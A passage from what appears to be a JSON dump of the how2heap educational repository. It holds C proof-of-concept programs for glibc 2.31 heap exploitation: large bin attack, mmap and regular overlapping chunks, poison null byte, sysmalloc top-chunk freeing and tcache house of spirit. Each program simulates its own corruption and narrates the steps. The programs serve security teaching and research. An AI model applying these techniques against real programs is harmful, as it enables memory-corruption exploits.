printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.31/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.31/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.31/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.31/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.31/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.31/tcache_metadata_poisoning.c",
